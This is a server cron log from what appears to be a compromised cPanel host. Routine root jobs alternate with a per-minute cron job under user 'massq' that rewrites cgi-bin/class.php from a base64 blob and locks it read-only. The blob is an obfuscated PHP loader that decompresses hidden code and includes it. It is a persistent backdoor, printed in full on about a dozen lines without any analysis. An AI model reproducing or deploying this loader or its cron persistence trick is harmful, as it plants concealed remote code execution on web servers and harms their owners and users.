Sep 10 03:47:01 server CROND[31406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:47:01 server CROND[31405]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:47:01 server CROND[31407]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:48:01 server CROND[31835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:48:01 server CROND[31834]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:48:01 server CROND[31836]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:49:01 server CROND[32220]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:49:01 server CROND[32221]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:49:01 server CROND[32222]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:50:01 server CROND[32616]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 03:50:01 server CROND[32617]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 03:50:01 server CROND[32622]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 03:50:01 server CROND[32629]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 03:50:01 server CROND[32627]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 03:50:01 server CROND[32626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:50:01 server CROND[32630]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 03:50:01 server CROND[32628]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:50:01 server CROND[32624]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:51:01 server CROND[1099]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:51:01 server CROND[1100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:51:01 server CROND[1101]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:52:01 server CROND[1623]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:52:01 server CROND[1624]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:52:01 server CROND[1625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:53:01 server CROND[2044]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:53:01 server CROND[2045]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:53:01 server CROND[2046]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:54:01 server CROND[2427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:54:01 server CROND[2428]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:54:01 server CROND[2429]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:55:01 server CROND[2850]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 03:55:01 server CROND[2865]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 03:55:01 server CROND[2866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:55:01 server CROND[2867]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:55:01 server CROND[2869]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 03:55:01 server CROND[2870]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:55:01 server CROND[2872]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 03:56:01 server CROND[3699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:56:01 server CROND[3700]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:56:01 server CROND[3701]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:57:01 server CROND[4080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:57:01 server CROND[4081]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 03:57:01 server CROND[4082]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:57:01 server CROND[4083]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:58:01 server CROND[4559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:58:01 server CROND[4560]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:58:01 server CROND[4567]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:59:01 server CROND[5010]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
